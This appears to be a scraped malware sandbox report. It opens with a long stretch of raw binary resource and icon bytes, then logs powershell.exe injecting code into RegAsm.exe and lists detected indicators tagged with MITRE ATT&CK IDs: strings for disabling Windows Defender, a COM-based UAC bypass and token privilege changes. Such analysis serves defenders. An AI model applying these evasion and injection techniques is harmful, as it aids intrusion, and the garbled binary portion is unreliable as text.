PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADPlSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADP{z}:_0("*PS6Sq!.&!n7PNpVzhMy>׫:Q#{Rڃ.l9{uyϴH296;(!&΅n0cO#}Ng|XCR~K#I qt!.GŃ2O(}8WbU;ec9q?nE[q@bS7T&_a&+;餿XfO09CP;[v\AGTd`Ļtl`o =ena#WVsh1xʼmrꗝ[ҫS7z<6J14ЃqLcP2sMj\Z?X/hOġi* =Nj4]=ɝ#7I%%'$4!Ӗ-_Tz_mxki|i_t/F䒽xba䐰kN 2Ktf/zKvXQƻ*iv(N WTBXc8Jhm`-k?_$WsBVAY^ eS]R286N)aWEAHfI%b[Ě- t9ELMi0ctdg l8#(\N (_ h(0`wwxxwwpwwwwwxwxwww~pxwxp""'xw""""z"""'zp"""'p**"'"g**"x"xp**"x~x*x~xpxﹹw~w鹹~wpxp~~~xp~n~wp~nnnnnnngxvww~gnnngwwpxpwwwwxwwwwwwwwwwwwwwwwwxxxwwwwwwxwpwwwwwxpwxpwwwwwwwxpxwpwwwwwww??08?,8'( @wwpwpxwxwxxp'x""'p""j""x*"xx*#x袹x蛛xxpxnnnnwnnwwwpwwwwwwwwxwwwwwxpwxxwwwwwwwwwpwp???a8 D*(( wpwp"xpzpxxppxwwwwwwpxwwwwww+(0` zfop̂׋晙ffee^^qqyUUzzqqyymmZFFʦI==xeeҷnddJIIVUUlkutԝǓol|fdڪ潻ҿ簬βkfʶub̻߬y`̳~^̒p̬ɪ忦řĦع̤̲ə~xʔ̙͞ӧڵ̳חSƇxipniu{yˏMYdљвɹ4ux|ϖ˛Ӯ۶mî{juHVݮM3XFt&##0(<5QHm[R I5Ll}}}rrrgggddd]]]===666000WWUZWUWW7'''''7AUVWUC#[/>iiD>8!#7WZZSSSSSSSS~WU'%]469=EFHJNl0#AZ!d"(.469=EFHJMTr7ﰣ[$(.469=EFHJq*7Z˜c$(.469=EFMq*7񰙙ǁ\$(.469=ETP!AWZ $(.469Fr#Zȯe&$(.46J07U믘fm,& .5K#ꯘ%53,& 0Aꯡ/953,&>'Uꯡ]:953,&3 XYYYYO#鯠i=:953,&H d*gKYsssssss诠i=;:953,Mؠ*sqqqqqqq)A瑖m:::::::RmؖksvvvvvvvgA瑖]:::::::M*ؖB$1_`ajbgA摖^::::::;MK[d[6$(.469+A呕)::::EMTnlZ爁ed))dd++ee///^^^OYY䰳{{]^///^^^^QSMJJ}zwmmhvLHFFHJMZUYYYY}}}yyyti=BF JMRSX}}}yyyttDF JMRSU򲥩}}}yyyttpu JMRT}}}yyyttpDOMRTr}}}yyyttppGWRTZluunniiDu????P\:( @ $%(6*%##(""+(%,))3../1%24'4/4/00111911999K9*E66H23G<2M:8T<:[-fDWD6KP>wY5A|,;cGw%W~BAALLLRDCSSSZVVWXX[[[dKImWFhXWrRRt\\^aJxi]uuQ[]`abbmabjhi|hhzqgzrksqr{{{Yjw\&o![Z|OShhf`nnvattqpwwvt|u}}|~/-<5'@1O2Q5U>`L~Jsˉ8/*>ELVshlpvy˓H֛LIDZđ{Şڥiͤxө~gxz?Y1CJBɄۅҊŞӞʖ٘쏏坝ȢԪΣ麉ǧȠƪթ˷ƹշɹ׺緮짰봵͢٥ěǎɎ̘ҞǸūʦ֬³˶ݹݱ(-L=6''-=9)-9̂9((:1LM19j<1PІ1'̒rKI'ӒWxQަ,I=ӔշSSSSTOۧ 1 ӋߊKۛ'n"&-9ɜM=׹@vi(7۶1׹@uuN⩧P׹?"tyyyyyygK8޶:׿kdwwwwwwwwg0G۶I>_abbbbbpnmF80޵ה(BωhecA`_g. G' 9 666*4woC((7Ή- +̒ .( )L /ks(-ŻE Jl܏ϐqyuv-=Ͽޮ??a#(Ch( @|~ƥ˧Ş||cc`IIii}}N>>ͥttoZZ|ee=22;11^]]ǰɯƆ簥˦t843qfb췣л羬Ҥαȭĸ⶘ĝΩ̡ՙ]ɛҦүBA@hŋǎ㷈Ȫ͓£PQ^vҧm˖hhxpṀڳq˂ܳԴct)!!% 1BSk]lmm6a:}}}vvvsssnnnbbbWWWPPPKKK:::444///...---`ErT -468akN.:><1A!%);=9P" 7UeKY_HC J[5G3pWB '~{onyR@$#+wv}|sc2(&zmg]/0j^DqXMfSI* MxthbZQO;?Mulid\VLFMMMMMMMMMMMM(H%(0` %KpmX?+ &888ZZZHHH666y`F1#&@]pyzyoY?& 3HHHzzzbbbSSS===""" gQ:((S0 _@@vNN|SS|RR|RRtMMR66(S'LUUUו{zzYYYCCC111tgU99^^llϢ滻濿Ƨff\\F//zC;;;Ueee籱~xdddOOO?77}SSppٚپxxWW&TSSS)}}}̙̙ΟƠff̳ffF..V```H̞ʙʙ췏liىppF..SaaaHPItݮșșrl̀ppF..AbbbH41`CVsƐ|vvaa&y'cccH ff̳WWSdddH####`y@yyF//(eeeH 0 0 0 0i`쭭\\FeeeH(=(=(=(=&ssyy2""jfffH1I1I1I1I%M3ƩkGG$gggH;Y;Y;Y;Y-cvF̛ߍҊ\\.iiiHDfDfDfDf"3ssM湹zzvu}ffff?jjjH߾߾߾LsLsLsLs&:ssM游雛op߾ɪpp~}5$$EkkkHܹܹܹWWWW/Q |i泳欬ܹܹff5$$ElllHڵڵڵ___[O0viҟppڵĦff5$$EmmmHذذذ\UOMM0`mƓmkymk̀6$$?mmmHլլլ<@EJM2NnyyƋ◗rr8&&.nnnHӧӧӧ9<@EJ70mffff"oooH:ӭѢѢѢ^<@E<#i{ayҶܟXXcpppHӣѮΞΞΞΞΞΞĶZ~FVyyhFF@ rrrHxа̙̙̙̙̙̙̙̙̙řnlkk4""!sssHxϰʔʔʔʔʔʔʔʔʔʔҌpp̅UUCtttHxuβǉǉǉǉǉǉǉǉǉǉǉusjj:&&uuuHyuk̳{{{{{{{{{{{{ojppqKK)vvvHz|㽖pppppppppppppmkfrrXX2 vvvHeeeeeeeeeeeeeedvett^^,8 wwwHZT.9DZZZZZZZZaff̰̕kk~TTxxxHO#ҙ۵ϖw;)2IS[ƊZ붶zRRb׭9֪ʍq`A,"1Ȁ=jllmLLO44`bѳǎlI1+r\d,bʷʹϻûQRR{{{fv{dgqqyyŢѵnnn...'˼irzvxxz{|}}~~Óʟ1118(((ʓbÁȕØ치㰗ۨџΛ̙˗ʗUd{~̗̜͟ΤϩϭѱϵʶŷKLL|&޶ˍ~˗̷̧̜̟̤̫̯̳ͼ; ^~˖̜̟ΤΨάΰδθͼ\]]FFF/ =x«˰۸ཪ´źڹO鼼խwwwX %9DXesssZDooo'MMM??@_Lh( @?m{p_OHWjm^;GGGZܩ|~YXX543$\>?ȌhhޓssmTT*OXXXƆ~B--=ccc#!%)!c&heee"*9tz``hhh"ˬ1?}ȭǰlkk"Ȣ(bOTfƥΥmno"źڳү)Ih@k_qv}"ϣfQҦ}fO]RE{RR.uy}"ŧ㷈vBp=]Ҥpp0 Dwww#qw۬icPՙ]⶘羬^^5""Glll$ԴṀpqd`"wooo5ĸtŞ˧lmmlv͓ŋĝ췣簥SRRgȒǎ̡ΩαлɭC 2GYjy©chvTEEEcc 00h (00 h00 % h ddFF4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0* Commentsprogrfam2 CompanyNameprofgram>FileDescriptionMyrpfgoram2 FileVersion2.0.0.12 "5d:T428,"powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 2420) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 2420) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 3444) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 3444) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 3444) "powershell.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 3444) "powershell.exe" wrote 000B6A00 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 3444) "powershell.exe" wrote 00000600 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 3444)5e:T35a7,Spawned process "\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping 0, Gen\" (Indicator: \"ping\"; Source: \"00000000-00003020.00000000.123996.A7020000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003020.00000001.124724.0F9A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004260-00000C2C-913172295\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004664-00000C2C-921233086\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004664-00000C2C-921233486\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004664-00000C2C-921233513\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004664)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003020)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003020.00000000.123996.8CA70000.00000004.mdmp, 00000000-00003020.00000001.124724.8CA70000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00003020.00000000.123996.A7020000.00000004.mdmp, 00000000-00003020.00000001.124724.A7020000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004260.00000000.123148.02EB0000.00000004.mdmp, 00000000-00004260.00000001.123828.02EB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00003020.00000000.123996.95ED2000.00000002.mdmp, 00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00003020.00000000.123996.95ED2000.00000002.mdmp, 00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")\n Found string \"DisableBehaviorMonitoring\" (Indicator: \"disablebehaviormonitoring\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")\n Found string \"DisableBlockAtFirstSeen\" (Indicator: \"disableblockatfirstseen\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003020.00000000.123996.95ED2000.00000002.mdmp, 00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003020.00000000.123996.95ED2000.00000002.mdmp, 00000000-00003020.00000001.124724.7A008000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69ca3e026e70a152b90f719e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"